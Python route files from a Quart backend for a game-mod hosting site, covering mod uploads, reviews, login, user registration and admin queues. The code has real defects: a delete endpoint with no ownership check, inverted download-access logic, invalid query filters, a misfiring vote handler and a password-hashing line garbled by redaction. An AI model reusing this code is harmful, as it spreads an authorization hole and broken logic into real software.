ModStatus.archived:\n abort(400, \"Can't create a new archived mod\")\n\n mod = Mod(\n title=title,\n tagline=tagline,\n description=description,\n website=website,\n status=status,\n category=category,\n theme_color=color,\n )\n\n icon_mimetype, icon_data = validate_img(icon, \"icon\")\n banner_mimetype, banner_data = validate_img(banner, \"banner\")\n media = [validate_img(x, \"media\") for x in media]\n\n for i, author in enumerate(authors):\n if author[\"id\"] == user_id:\n authors.pop(i)\n continue\n elif not await User.exists(author[\"id\"]):\n abort(400, f\"Unknown user '{author['id']}'\")\n\n authors.append({\"id\": user_id, \"role\": AuthorRole.owner})\n\n if is_private_beta is not None:\n mod.is_private_beta = is_private_beta\n\n if mod_playtester is not None:\n if not is_private_beta:\n abort(400, \"No need for `ModPlaytester` if open beta\")\n\n for playtester in mod_playtester:\n if not await User.exists(playtester):\n abort(400, f\"Unknown user '{playtester}'\")\n\n # Decode images and add name for mimetypes\n icon_data = base64.b64decode(icon_data)\n banner_data = base64.b64decode(banner_data)\n icon_ext = icon_mimetype.split(\"/\")[1]\n banner_ext = banner_mimetype.split(\"/\")[1]\n\n icon_resp = await ipfs_upload(\n icon_data, f\"icon.{icon_ext}\", self.core.aioh_sess\n )\n banner_resp = await ipfs_upload(\n banner_data, f\"banner.{banner_ext}\", self.core.aioh_sess\n )\n\n mod.icon = icon_resp[\"Hash\"]\n mod.banner = banner_resp[\"Hash\"]\n\n media_hashes = []\n for mime, data in media:\n ext = mime.split(\"/\")[1]\n resp = await ipfs_upload(data, f\"media.{ext}\", self.core.aioh_sess)\n\n media_hashes += [resp]\n\n await mod.create()\n await ModAuthor.insert().gino.all(\n *[\n dict(user_id=author[\"id\"], mod_id=mod.id, role=author[\"role\"])\n for author in authors\n ]\n )\n await ModPlaytester.insert().gino.all(\n *[dict(user_id=user, mod_id=mod.id) for user in mod_playtester]\n )\n\n if media_hashes:\n await Media.insert().gino.all(\n *[\n dict(type=MediaType.image, hash=hash_, mod_id=mod.id)\n for hash_ in media_hashes\n ]\n )\n\n return jsonify(mod.to_dict())\n\n @route(\"/api/v1/mods/recent_releases\")\n @json\n async def get_recent_releases(self):\n mods = (\n await Mod.query.where(and_(Mod.verified, Mod.status == ModStatus.released))\n .order_by(Mod.released_at.desc())\n .limit(10)\n .gino.all()\n )\n\n return jsonify(self.dict_all(mods))\n\n @route(\"/api/v1/mods/most_loved\")\n @json\n async def get_most_loved(self):\n love_counts = (\n select([func.count()]).where(UserFavorite.mod_id == Mod.id).as_scalar()\n )\n mods = await Mod.query.order_by(love_counts.desc()).limit(10).gino.all()\n\n return jsonify(self.dict_all(mods))\n\n @route(\"/api/v1/mods/most_downloads\")\n @json\n async def get_most_downloads(self):\n mods = (\n await Mod.query.where(and_(Mod.verified, Mod.released_at is not None))\n .order_by(Mod.downloads.desc())\n .limit(10)\n .gino.all()\n )\n\n return jsonify(self.dict_all(mods))\n\n @route(\"/api/v1/mods/trending\")\n @json\n async def get_trending(self):\n # TODO: implement\n return jsonify([])\n\n @route(\"/api/v1/mods/editors_choice\")\n @json\n async def get_ec(self):\n mod_ids = [x.mod_id for x in await EditorsChoice.query.gino.all()]\n mods = (\n await Mod.query.where(Mod.id in mod_ids)\n .order_by(Mod.downloads.desc())\n .limit(10)\n .gino.all()\n )\n return jsonify(mods)\n\n @multiroute(\n \"/api/v1/mods/<mod_id>\", methods=[\"GET\"], other_methods=[\"PATCH\", \"DELETE\"]\n )\n @json\n async def get_mod(self, mod_id: str):\n # mod = await Mod.get(mod_id)\n mod = (\n await Mod.load(authors=ModAuthor, media=Media)\n .where(Mod.id == mod_id)\n .gino.first()\n )\n\n if mod is None:\n abort(404, \"Unknown mod\")\n\n return jsonify(mod.to_dict())\n\n @multiroute(\n \"/api/v1/mods/<mod_id>\", methods=[\"PATCH\"], other_methods=[\"GET\", \"DELETE\"]\n )\n @requires_login\n @json\n @use_kwargs(\n {\n \"title\": fields.Str(validate=validate.Length(max=64)),\n \"tagline\": fields.Str(validate=validate.Length(max=100)),\n \"description\": fields.Str(validate=validate.Length(min=100, max=10000)),\n \"website\": fields.Url(),\n \"status\": EnumField(ModStatus),\n \"category\": EnumField(ModCategory),\n \"authors\": fields.List(fields.Nested(AuthorSchema)),\n \"icon\": fields.Str(\n validate=validate.Regexp(\n DATA_URI_RE,\n error=(\n \"`icon` should be a data uri like 'data:image/png;base64,<data>' or \"\n \"'data:image/jpeg;base64,<data>'\"\n ),\n )\n ),\n \"banner\": fields.Str(\n validate=validate.Regexp(\n DATA_URI_RE,\n error=(\n \"`banner` should be a data uri like 'data:image/png;base64,<data>' or \"\n \"'data:image/jpeg;base64,<data>'\"\n ),\n )\n ),\n \"color\": EnumField(ModColor),\n \"is_private_beta\": fields.Bool(),\n \"mod_playtester\": fields.List(fields.Str()),\n },\n locations=(\"json\",),\n )\n async def patch_mod(\n self,\n mod_id: str = None,\n authors: List[dict] = None,\n mod_playtester: List[str] = None,\n icon: str = None,\n banner: str = None,\n **kwargs,\n ):\n if not await Mod.exists(mod_id):\n abort(404, \"Unknown mod\")\n\n mod = await Mod.get(mod_id)\n updates = mod.update(**kwargs)\n\n if authors is not None:\n authors = [author for author in authors if await User.exists(author[\"id\"])]\n # TODO: if user is owner or co-owner, allow them to change the role of others to ones below them.\n authors = [\n author\n for author in authors\n if not await ModAuthor.query.where(\n and_(ModAuthor.user_id == author[\"id\"], ModAuthor.mod_id == mod_id)\n ).gino.first()\n ]\n\n if mod_playtester is not None:\n for playtester in mod_playtester:\n if not await User.exists(playtester):\n abort(400, f\"Unknown user '{playtester}'\")\n elif await ModPlaytester.query.where(\n and_(\n ModPlaytester.user_id == playtester,\n ModPlaytester.mod_id == mod.id,\n )\n ).gino.all():\n abort(400, f\"{playtester} is already enrolled.\")\n\n if icon is not None:\n icon_mimetype, icon_data = validate_img(icon, \"icon\")\n icon_data = base64.b64decode(icon_data)\n\n icon_ext = icon_mimetype.split(\"/\")[1]\n icon_resp = await ipfs_upload(\n icon_data, f\"icon.{icon_ext}\", self.core.aioh_sess\n )\n\n updates = updates.update(icon=icon_resp[\"Hash\"])\n\n if banner is not None:\n banner_mimetype, banner_data = validate_img(banner, \"banner\")\n banner_data = base64.b64decode(banner_data)\n\n banner_ext = banner_mimetype.split(\"/\")[1]\n banner_resp = await ipfs_upload(\n banner_data, f\"banner.{banner_ext}\", self.core.aioh_sess\n )\n\n updates = updates.update(banner=banner_resp[\"Hash\"])\n\n await updates.apply()\n await ModAuthor.insert().gino.all(\n *[\n dict(user_id=author[\"id\"], mod_id=mod.id, role=author[\"role\"])\n for author in authors\n ]\n )\n await ModPlaytester.insert().gino.all(\n *[dict(user_id=user, mod_id=mod.id) for user in ModPlaytester]\n )\n\n return jsonify(mod.to_dict())\n\n # TODO: decline route with reason, maybe doesn't 100% delete it? idk\n @multiroute(\n \"/api/v1/mods/<mod_id>\", methods=[\"DELETE\"], other_methods=[\"GET\", \"PATCH\"]\n )\n @requires_login\n @json\n async def delete_mod(self, mod_id: str):\n await Mod.delete.where(Mod.id == mod_id).gino.status()\n\n return jsonify(True)\n\n @route(\"/api/v1/mods/<mod_id>/download\")\n @json\n async def get_download(self, mod_id: str):\n user_id = await get_token_user()\n\n mod = await Mod.get(mod_id)\n\n if mod is None:\n abort(404, \"Unknown mod\")\n if user_id is None and mod.is_private_beta:\n abort(403, \"Private beta mods requires authentication.\")\n if not await ModPlaytester.query.where(\n and_(ModPlaytester.user_id == user_id, ModPlaytester.mod_id == mod.id)\n ).gino.all():\n abort(403, \"You are not enrolled to the private beta.\")\n elif not mod.zip_url:\n abort(404, \"Mod has no download\")\n\n return jsonify(url=mod.zip_url)\n\n @multiroute(\n \"/api/v1/mods/<mod_id>/reviews\", methods=[\"GET\"], other_methods=[\"POST\"]\n )\n @json\n @use_kwargs(\n {\n \"page\": fields.Int(missing=0),\n \"limit\": fields.Int(missing=10),\n \"rating\": UnionField(\n [\n fields.Int(validate=validate.OneOf([1, 2, 3, 4, 5])),\n fields.Str(validate=validate.Equal(\"all\")),\n ],\n missing=\"all\",\n ),\n \"sort\": EnumField(ReviewSorting, missing=ReviewSorting.best),\n },\n locations=(\"query\",),\n )\n async def get_reviews(\n self,\n mod_id: str,\n page: int,\n limit: int,\n rating: Union[int, str],\n sort: ReviewSorting,\n ):\n if not await Mod.exists(mod_id):\n abort(404, \"Unknown mod\")\n\n if not 1 <= limit <= 25:\n limit = max(\n 1, min(limit, 25)\n ) # Clamp `limit` to 1 or 100, whichever is appropriate\n\n page = page - 1 if page > 0 else 0\n\n upvote_aggregate = (\n select([func.count()])\n .where(\n and_(\n ReviewReaction.review_id == Review.id,\n ReviewReaction.reaction == ReactionType.upvote,\n )\n )\n .as_scalar()\n )\n downvote_aggregate = (\n select([func.count()])\n .where(\n and_(\n ReviewReaction.review_id == Review.id,\n ReviewReaction.reaction == ReactionType.downvote,\n )\n )\n .as_scalar()\n )\n funny_aggregate = (\n select([func.count()])\n .where(\n and_(\n ReviewReaction.review_id == Review.id,\n ReviewReaction.reaction == ReactionType.funny,\n )\n )\n .as_scalar()\n )\n\n query = Review.load(\n author=User,\n upvotes=upvote_aggregate,\n downvotes=downvote_aggregate,\n funnys=funny_aggregate,\n ).where(Review.mod_id == mod_id)\n\n user_id = await get_token_user()\n\n if user_id:\n did_upvote_q = (\n select([func.count()])\n .where(\n and_(\n ReviewReaction.review_id == Review.id,\n ReviewReaction.user_id == user_id,\n ReviewReaction.reaction == ReactionType.upvote,\n )\n )\n .limit(1)\n .as_scalar()\n )\n did_downvote_q = (\n select([func.count()])\n .where(\n and_(\n ReviewReaction.review_id == Review.id,\n ReviewReaction.user_id == user_id,\n ReviewReaction.reaction == ReactionType.downvote,\n )\n )\n .limit(1)\n .as_scalar()\n )\n did_funny_q = (\n select([func.count()])\n .where(\n and_(\n ReviewReaction.review_id == Review.id,\n ReviewReaction.user_id == user_id,\n ReviewReaction.reaction == ReactionType.funny,\n )\n )\n .limit(1)\n .as_scalar()\n )\n\n query = query.gino.load(\n user_reacted_upvote=did_upvote_q,\n user_reacted_downvote=did_downvote_q,\n user_reacted_funny=did_funny_q,\n )\n\n if review_sorters[sort]:\n query = query.order_by(review_sorters[sort])\n elif sort == ReviewSorting.best:\n query = query.order_by(upvote_aggregate - downvote_aggregate)\n elif sort == ReviewSorting.funniest:\n query = query.order_by(funny_aggregate.desc())\n\n if isinstance(rating, int):\n values = [rating, rating + 0.5]\n\n if rating == 1:\n # Also get reviews with a 0.5 star rating, otherwise they'll never appear.\n values.append(0.5)\n\n query = query.where(Review.rating.in_(values))\n\n reviews = await paginate(query, page, limit).gino.all()\n total = await query.alias().count().gino.scalar()\n\n return jsonify(\n total=total, page=page, limit=limit, results=self.dict_all(reviews)\n )\n\n @multiroute(\n \"/api/v1/mods/<mod_id>/reviews\", methods=[\"POST\"], other_methods=[\"GET\"]\n )\n @requires_login\n @json\n @use_kwargs(\n {\n \"rating\": fields.Int(\n required=True,\n validate=[\n # Only allow increments of 0.5, up to 5.\n lambda x: 5 >= x >= 1,\n lambda x: x % 0.5 == 0,\n ],\n ),\n \"content\": fields.Str(required=True, validate=validate.Length(max=2000)),\n \"title\": fields.Str(required=True, validate=validate.Length(max=32)),\n }\n )\n async def post_review(self, mod_id: str, rating: int, content: str, title: str):\n if not await Mod.exists(mod_id):\n abort(404, \"Unknown mod\")\n\n user_id = await get_token_user()\n\n if await Review.query.where(\n and_(Review.author_id == user_id, Review.mod_id == mod_id)\n ).gino.first():\n abort(400, \"Review already exists\")\n\n review = await Review.create(\n title=title,\n content=content,\n rating=rating,\n author_id=user_id,\n mod_id=mod_id,\n )\n\n return jsonify(review.to_json())\n\n @route(\"/api/v1/reviews/<review_id>/react\", methods=[\"POST\"])\n @requires_login\n @json\n @use_kwargs(\n {\n \"undo\": fields.Bool(missing=False),\n \"type\": EnumField(ReactionType, data_key=\"type\", required=True),\n }\n )\n async def react_review(self, review_id: str, undo: bool, type_: EnumField):\n user_id = await get_token_user()\n where_opts = [\n ReviewReaction.review_id == review_id,\n ReviewReaction.user_id == user_id,\n ReviewReaction.reaction == type_,\n ]\n create_opts = {\"review_id\": review_id, \"user_id\": user_id, \"reaction\": type_}\n\n exists = bool(\n await ReviewReaction.select(\"id\").where(and_(*where_opts)).gino.scalar()\n )\n\n if (exists and not undo) or (not exists and undo):\n pass\n elif not undo:\n if type_ == ReactionType.upvote:\n # Negate any downvotes by the user as upvoting and downvoting at the same time is stupid\n await ReviewReaction.delete.where(\n and_(*where_opts[:-1], ReviewReaction.type == ReactionType.downvote)\n ).gino.status()\n elif type_ == ReactionType.downvote:\n # Ditto for any upvotes if trying to downvote\n await ReviewReaction.delete.where(\n and_(*where_opts[:-1], ReviewReaction.type == ReactionType.downvote)\n ).gino.status()\n\n await ReviewReaction.create(**create_opts)\n else:\n await ReviewReaction.delete.where(and_(*where_opts)).gino.status()\n\n # Return user's current reaction results\n results = await ReviewReaction.query.where(and_(*where_opts[:-1])).gino.all()\n results = [x.reaction for x in results]\n\n return jsonify(\n upvote=ReactionType.upvote in results,\n downvote=ReactionType.downvote in results,\n funny=ReactionType.funny in results,\n )\n\n # This handles POST requests to add zip_url.\n # Usually this would be done via a whole entry but this\n # is designed for existing content.\n @route(\"/api/v1/mods/<mod_id>/upload_content\", methods=[\"POST\"])\n @json\n @requires_supporter\n @requires_login\n async def upload(self, mod_id: str):\n if not await Mod.exists(mod_id):\n abort(404, \"Unknown mod\")\n\n abort(501, \"Coming soon\")\n\n @route(\"/api/v1/mods/<mod_id>/report\", methods=[\"POST\"])\n @json\n @use_kwargs(\n {\n \"content\": fields.Str(\n required=True, validate=validate.Length(min=100, max=1000)\n ),\n \"type_\": EnumField(ReportType, data_key=\"type\", required=True),\n \"recaptcha\": fields.Str(required=True),\n },\n locations=(\"json\",),\n )\n @requires_login\n @limiter.limit(\"2 per hour\")\n async def report_mod(\n self, mod_id: str, content: str, type_: ReportType, recaptcha: str\n ):\n score = await verify_recaptcha(recaptcha, self.core.aioh_sess)\n\n if score < 0.5:\n # TODO: send email/other 2FA when below 0.5\n abort(400, \"Possibly a bot\")\n\n user_id = await get_token_user()\n report = await Report.create(\n content=content, author_id=user_id, mod_id=mod_id, type=type_\n )\n\n return jsonify(report.to_dict())\n\n\ndef setup(core: Sayonika):\n Mods(core).register()\n", "id": "4645395", "language": "Python", "matching_score": 6.678676128387451, "max_stars_count": 3, "path": "routes/mods.py" }, { "content": "# Stdlib\nfrom base64 import b64encode as b64\n\n# External Libraries\nimport bcrypt\nimport mmh3\nfrom bs4 import BeautifulSoup\nfrom cachetools import TTLCache\nfrom quart import abort, jsonify\nfrom sqlalchemy import or_, and_, func\nfrom webargs import fields\n\n# Sayonika Internals\nfrom framework.models import Mod, User, ModStatus, EditorsChoice\nfrom framework.objects import SETTINGS, jwt_service\nfrom framework.quart_webargs import use_kwargs\nfrom framework.route import route\nfrom framework.route_wrappers import json\nfrom framework.routecog import RouteCog\nfrom framework.sayonika import Sayonika\nfrom framework.utils import verify_recaptcha\n\n\ndef hash(string: str):\n return b64(str(mmh3.hash(string)).encode(\"utf8\")).decode(\"utf8\")\n\n\nasync def get_latest_medium_post(session):\n \"\"\"\n Properly gets and parses the latest post from Medium.\n Returns it as a nice simple object with no bs.\n \"\"\"\n publication = SETTINGS[\"MEDIUM_PUBLICATION\"]\n\n async with session.get(f\"https://medium.com/feed/{publication}\") as resp:\n feed = await resp.text()\n\n soup = BeautifulSoup(feed, \"xml\")\n post = soup.item\n content = BeautifulSoup(post(\"content:encoded\")[0].string, \"html.parser\")\n\n return {\n \"title\": post.title.string,\n \"body\": content.p.string, # First paragraph is the subtitle thing\n \"url\": post.guid.string,\n \"banner\": content.img[\"src\"].replace(\n \"max/1024\", \"max/2048\"\n ), # First image is the banner\n \"id\": hash(post.guid.string),\n }\n\n\nclass Userland(RouteCog):\n news_cache = TTLCache(1, 60 * 60)\n\n @staticmethod\n def dict_all(models):\n return [m.to_dict() for m in models]\n\n @route(\"/api/v1/login\", methods=[\"POST\"])\n @json\n @use_kwargs(\n {\n \"username\": fields.Str(required=True),\n \"password\": fields.Str(required=True),\n \"recaptcha\": fields.Str(required=True),\n },\n locations=(\"json\",),\n )\n async def login(self, username: str, password: str, recaptcha: str):\n score = await verify_recaptcha(recaptcha, self.core.aioh_sess, \"login\")\n\n if score < 0.5:\n # TODO: send email/other 2FA when below 0.5\n abort(400, \"Possibly a bot\")\n\n user = await User.get_any(True, username=username, email=username).first()\n\n if not user:\n abort(400, \"Invalid username or email\")\n\n if not bcrypt.checkpw(password.encode(), user.password):\n abort(400, \"Invalid password\")\n\n if not user.email_verified:\n abort(401, \"Email needs to be verified\")\n\n token = jwt_service.make_login_token(user.id, user.last_pass_reset)\n\n return jsonify(token=token)\n\n @route(\"/api/v1/verify\", methods=[\"GET\"])\n @json\n @use_kwargs({\"token\": fields.Str(required=True)}, locations=(\"query\",))\n async def verify_email(self, token):\n parsed_token = await jwt_service.verify_email_token(token, True)\n\n if parsed_token is False:\n abort(400, \"Invalid token\")\n\n user = await User.get(parsed_token[\"id\"])\n\n if user.email_verified:\n return jsonify(\"Email already verified\")\n\n await user.update(email_verified=True).apply()\n\n return jsonify(\"Email verified\")\n\n @route(\"/api/v1/search\", methods=[\"GET\"])\n @json\n @use_kwargs({\"q\": fields.Str(required=True)}, locations=(\"query\",))\n async def search(self, q: str):\n like = f\"%{q}%\"\n\n mods = (\n await Mod.query.where(\n or_(\n Mod.title.match(q),\n Mod.tagline.match(q),\n Mod.description.match(q),\n Mod.title.ilike(like),\n Mod.tagline.ilike(like),\n Mod.description.ilike(like),\n )\n )\n .limit(5)\n .gino.all()\n )\n users = (\n await User.query.where(\n or_(User.username.match(q), User.username.ilike(like))\n )\n .limit(5)\n .gino.all()\n )\n\n return jsonify(mods=self.dict_all(mods), users=self.dict_all(users))\n\n @route(\"/api/v1/news\", methods=[\"GET\"])\n @json\n async def news(self):\n if self.news_cache.get(\"news\"):\n return jsonify(self.news_cache[\"news\"])\n\n recent = (\n await Mod.query.where(and_(Mod.verified, Mod.status == ModStatus.released))\n .order_by(func.random())\n .limit(10)\n .gino.first()\n )\n featured = (\n await EditorsChoice.load(mod=Mod)\n .where(EditorsChoice.featured)\n .order_by(EditorsChoice.created_at.desc())\n .gino.first()\n )\n blog = await get_latest_medium_post(self.core.aioh_sess)\n\n recent = (\n {\n \"type\": 0,\n \"title\": recent.title,\n \"body\": recent.tagline,\n \"url\": f\"/mods/{recent.id}\",\n \"banner\": recent.banner,\n \"id\": hash(recent.id),\n }\n if recent is not None\n else None\n )\n featured = (\n {\n \"type\": 1,\n \"title\": featured.mod.title,\n \"body\": featured.editors_notes,\n \"url\": featured.article_url,\n \"banner\": featured.mod.banner,\n \"id\": hash(featured.mod.id),\n }\n if featured is not None\n else None\n )\n blog = {\"type\": 2, **blog}\n\n news = [recent, featured, blog]\n\n # Featured and recent may be None if there are no EditorsChoices or Mods respectively.\n self.news_cache[\"news\"] = news = [x for x in news if x is not None]\n\n return jsonify(news)\n\n\ndef setup(core: Sayonika):\n Userland(core).register()\n", "id": "1522008", "language": "Python", "matching_score": 5.155981540679932, "max_stars_count": 3, "path": "routes/api.py" }, { "content": "# Stdlib\nfrom datetime import datetime\nfrom enum import Enum\n\n# External Libraries\nfrom marshmallow_enum import EnumField\nfrom quart import abort, jsonify\nfrom sqlalchemy import or_, not_\nfrom webargs import fields, validate\n\n# Sayonika Internals\nfrom framework.authentication import Authenticator\nfrom framework.mailer import MailTemplates\nfrom framework.models import (\n Mod,\n User,\n Review,\n ModAuthor,\n UserReport,\n UserFavorite,\n UserReportType,\n)\nfrom framework.objects import SETTINGS, mailer, limiter, jwt_service\nfrom framework.quart_webargs import use_kwargs\nfrom framework.route import route, multiroute\nfrom framework.route_wrappers import json, requires_login\nfrom framework.routecog import RouteCog\nfrom framework.sayonika import Sayonika\nfrom framework.utils import paginate, get_token_user, verify_recaptcha\n\n\nclass UserSorting(Enum):\n name = 1\n joined_at = 2\n\n\nsorters = {UserSorting.name: User.username, UserSorting.joined_at: User.created_at}\n\n\nclass Users(RouteCog):\n @staticmethod\n def dict_all(models):\n return [m.to_dict() for m in models]\n\n @multiroute(\"/api/v1/users\", methods=[\"GET\"], other_methods=[\"POST\"])\n @json\n @use_kwargs(\n {\n \"q\": fields.Str(),\n \"page\": fields.Int(missing=0),\n \"limit\": fields.Int(missing=50),\n \"sort\": EnumField(UserSorting),\n \"ascending\": fields.Bool(missing=False),\n \"ignore\": fields.Str(), # Comma separated list of IDs to filter out\n },\n locations=(\"query\",),\n )\n async def get_users(\n self,\n q: str = None,\n page: int = None,\n limit: int = None,\n sort: UserSorting = None,\n ascending: bool = False,\n ignore: str = None,\n ):\n if not 1 <= limit <= 100:\n limit = max(\n 1, min(limit, 100)\n ) # Clamp `limit` to 1 or 100, whichever is appropriate\n\n page = page - 1 if page > 0 else 0\n query = User.query\n\n if q is not None:\n query = query.where(\n or_(User.username.match(q), User.username.ilike(f\"%{q}%\"))\n )\n\n if sort is not None:\n sort_by = sorters[sort]\n query = query.order_by(sort_by.asc() if ascending else sort_by.desc())\n\n if ignore is not None:\n ignore = ignore.split(\",\")\n query = query.where(not_(User.id.in_(ignore)))\n\n results = await paginate(query, page, limit).gino.all()\n total = await query.alias().count().gino.scalar()\n\n return jsonify(\n total=total, page=page, limit=limit, results=self.dict_all(results)\n )\n\n @multiroute(\"/api/v1/users\", methods=[\"POST\"], other_methods=[\"GET\"])\n @json\n @use_kwargs(\n {\n \"username\": fields.Str(required=True, validate=validate.Length(max=25)),\n \"password\": fields.Str(required=True),\n \"email\": fields.Email(required=True),\n \"recaptcha\": fields.Str(required=True),\n },\n locations=(\"json\",),\n )\n async def post_users(\n self, username: str, password: str, email: str, recaptcha: str\n ):\n \"\"\"Register a user to the site.\"\"\"\n score = await verify_recaptcha(recaptcha, self.core.aioh_sess)\n\n if score < 0.5:\n # TODO: send email/other 2FA when below 0.5\n abort(400, \"Possibly a bot\")\n\n users = await User.get_any(True, username=username, email=email).first()\n\n if users is not None:\n abort(400, \"Username and/or email already in use\")\n\n user = User(username=username, email=email)\n\n user.password = <PASSWORD>enticator.<PASSWORD>(password)\n user.last_pass_reset = datetime.now()\n\n await user.create()\n\n token = jwt_service.make_email_token(user.id, user.email)\n\n await mailer.send_mail(\n MailTemplates.VerifyEmail,\n email,\n {\n \"USER_NAME\": user.username,\n \"TOKEN\": token,\n \"BASE_URL\": SETTINGS[\"EMAIL_BASE\"],\n },\n session=self.core.aioh_sess,\n )\n\n return jsonify(user.to_dict())\n\n @route(\"/api/v1/users/<user_id>\", methods=[\"GET\"])\n @json\n async def get_user(self, user_id: str):\n is_through_atme = False\n\n if user_id == \"@me\":\n user_id = await get_token_user()\n\n if not user_id:\n abort(401, \"Login required or invalid token\")\n\n is_through_atme = True\n\n user = await User.get(user_id)\n\n if user is None:\n abort(404, \"Unknown user\")\n\n return jsonify(user.to_dict() if not is_through_atme else user.to_self_dict())\n\n @route(\"/api/v1/users/@me\", methods=[\"PATCH\"])\n @requires_login\n @json\n @use_kwargs(\n {\n \"username\": fields.Str(validate=validate.Length(max=25)),\n \"password\": fields.Str(),\n \"old_password\": fields.Str(required=True),\n \"email\": fields.Email(),\n \"bio\": fields.Str(validate=validate.Length(max=100)),\n \"avatar\": None,\n },\n locations=(\"json\",),\n )\n async def patch_user(self, old_password: str, password: str = None, **kwargs):\n user_id = await get_token_user()\n\n user = await User.get(user_id)\n\n if not Authenticator.compare_password(old_password, user.password):\n abort(403, \"`old_password` doesn't match\")\n\n updates = user.update(**kwargs)\n\n if password is not None:\n password = Authenticator.hash_password(password)\n updates = updates.update(password=password, last_pass_reset=datetime.now())\n\n await updates.apply()\n\n return jsonify(user.to_dict())\n\n @route(\"/api/v1/users/<user_id>/favorites\")\n @json\n async def get_favorites(self, user_id: str):\n if user_id == \"@me\":\n user_id = await get_token_user()\n\n if not user_id:\n abort(401, \"Login required or invalid token\")\n\n if not await User.exists(user_id):\n abort(404, \"Unknown user\")\n\n favorite_pairs = await UserFavorite.query.where(\n UserFavorite.user_id == user_id\n ).gino.all()\n favorite_pairs = [x.mod_id for x in favorite_pairs]\n favorites = await Mod.query.where(Mod.id.in_(favorite_pairs)).gino.all()\n\n return jsonify(self.dict_all(favorites))\n\n @route(\"/api/v1/users/<user_id>/mods\")\n @json\n async def get_user_mods(self, user_id: str):\n if user_id == \"@me\":\n user_id = await get_token_user()\n\n if not user_id:\n abort(401, \"Login required or invalid token\")\n\n if not await User.exists(user_id):\n abort(404, \"Unknown user\")\n\n mod_pairs = await ModAuthor.query.where(ModAuthor.user_id == user_id).gino.all()\n mod_pairs = [x.mod_id for x in mod_pairs]\n mods = await Mod.query.where(Mod.id.in_(mod_pairs)).gino.all()\n\n return jsonify(self.dict_all(mods))\n\n @route(\"/api/v1/users/<user_id>/reviews\")\n @json\n async def get_user_reviews(self, user_id: str):\n if user_id == \"@me\":\n user_id = await get_token_user()\n\n if not user_id:\n abort(401, \"Login required or invalid token\")\n\n if not await User.exists(user_id):\n abort(404, \"Unknown user\")\n\n reviews = await Review.query.where(Review.author_id == user_id).gino.all()\n\n return jsonify(self.dict_all(reviews))\n\n @route(\"/api/v1/users/<user_id>/report\", methods=[\"POST\"])\n @json\n @use_kwargs(\n {\n \"content\": fields.Str(\n required=True, validate=validate.Length(min=100, max=1000)\n ),\n \"type_\": EnumField(UserReportType, data_key=\"type\", required=True),\n \"recaptcha\": fields.Str(required=True),\n },\n locations=(\"json\",),\n )\n @requires_login\n @limiter.limit(\"2 per hour\")\n async def report_user(\n self, user_id: str, content: str, type_: UserReportType, recaptcha: str\n ):\n score = await verify_recaptcha(recaptcha, self.core.aioh_sess)\n\n if score < 0.5:\n # TODO: send email/other 2FA when below 0.5\n abort(400, \"Possibly a bot\")\n\n author_id = await get_token_user()\n\n report = await UserReport.create(\n content=content, author_id=author_id, user_id=user_id, type=type\n )\n return jsonify(report.to_dict())\n\n\ndef setup(core: Sayonika):\n Users(core).register()\n", "id": "12503810", "language": "Python", "matching_score": 6.7779388427734375, "max_stars_count": 3, "path": "routes/users.py" }, { "content": "# Stdlib\nimport base64\nfrom enum import Enum\nimport inspect\nfrom typing import List\n\n# External Libraries\nfrom Cryptodome.Cipher import AES\nfrom marshmallow_enum import EnumField\nfrom quart import abort, jsonify, request\nfrom sqlalchemy import and_\nfrom webargs import fields\n\n# Sayonika Internals\nfrom framework.authentication import Authenticator\nfrom framework.models import Mod, User, Report, ModAuthor, AuthorRole, UserReport\nfrom framework.objects import SETTINGS, db\nfrom framework.quart_webargs import use_kwargs\nfrom framework.route import route, multiroute\nfrom framework.route_wrappers import json, requires_admin, requires_developer\nfrom framework.routecog import RouteCog\nfrom framework.sayonika import Sayonika\nfrom framework.utils import paginate, get_token_user\n\n\ndef get_members(type_) -> List[str]:\n non_routines = inspect.getmembers(type_, lambda x: not inspect.isroutine(x))\n return [\n x[0] for x in non_routines if not (x[0].startswith(\"_\") or x[0].endswith(\"_\"))\n ]\n\n\n# Probably will need to add this to util or smth later\ndef deep_to_dict(model):\n \"\"\"\n Turn a model into a dictionary and recurse through any model attributes\n \"\"\"\n dicted = model.to_dict()\n\n for attr in get_members(model):\n attr_on_model = getattr(model, attr)\n\n if attr not in dicted or dicted[attr] == attr_on_model:\n if isinstance(attr_on_model, db.Model):\n dicted[attr] = deep_to_dict(attr_on_model)\n elif isinstance(attr_on_model, list):\n dicted[attr] = [deep_to_dict(x) for x in attr_on_model]\n\n return dicted\n\n\nclass VerifyQueueSorting(Enum):\n date_submitted = 0\n name = 1\n\n\nqueue_sorting = {\n VerifyQueueSorting.date_submitted: Mod.created_at,\n VerifyQueueSorting.name: Mod.title,\n}\n\n\nclass Admin(RouteCog):\n @staticmethod\n def dict_all(models):\n return [m.to_dict() for m in models]\n\n @staticmethod\n def deep_dict_all(models):\n return [deep_to_dict(m) for m in models]\n\n @route(\"/api/v1/mods/verify_queue\", methods=[\"GET\"])\n @requires_admin\n @json\n @use_kwargs(\n {\n \"page\": fields.Int(missing=0),\n \"limit\": fields.Int(missing=50),\n \"sort\": EnumField(VerifyQueueSorting, missing=\"date_submitted\"),\n \"ascending\": fields.Bool(missing=False),\n \"get_all_authors\": fields.Bool(missing=False),\n }\n )\n async def get_verify_queue(\n self,\n limit: int,\n page: int,\n sort: VerifyQueueSorting,\n ascending: bool,\n get_all_authors: bool,\n ): # pylint: disable=unused-argument\n # TODO: Handle get_all_authors\n if not 1 <= limit <= 100:\n limit = max(\n 1, min(limit, 100)\n ) # Clamp `limit` to 1 or 100, whichever is appropriate\n\n page = page - 1 if page > 0 else 0\n sort_by = queue_sorting[sort]\n\n query = Mod.outerjoin(ModAuthor).outerjoin(User).select()\n\n loader = Mod.distinct(Mod.id).load(\n authors=User.load(role=ModAuthor.distinct(ModAuthor.id))\n )\n query = query.gino.load(loader).query\n\n query = query.where(\n Mod.verified == False\n ).order_by( # noqa: E712 pylint: disable=singleton-comparison\n sort_by.asc() if ascending else sort_by.desc()\n )\n\n results = await paginate(query, page, limit).gino.all()\n total = (\n await Mod.query.where(\n Mod.verified == False # noqa: E712 pylint: disable=singleton-comparison\n )\n .alias()\n .count()\n .gino.scalar()\n )\n results = self.deep_dict_all(results)\n\n return jsonify(total=total, page=page, limit=limit, results=results)\n\n @route(\"/api/v1/mods/report_queue\", methods=[\"GET\"])\n @requires_admin\n @json\n @use_kwargs(\n {\"page\": fields.Int(missing=0), \"limit\": fields.Int(missing=50)},\n locations=(\"json\",),\n )\n async def get_mod_report_queue(self, limit: int, page: int):\n if not 1 <= limit <= 100:\n limit = max(\n 1, min(limit, 100)\n ) # Clamp `limit` to 1 or 100, 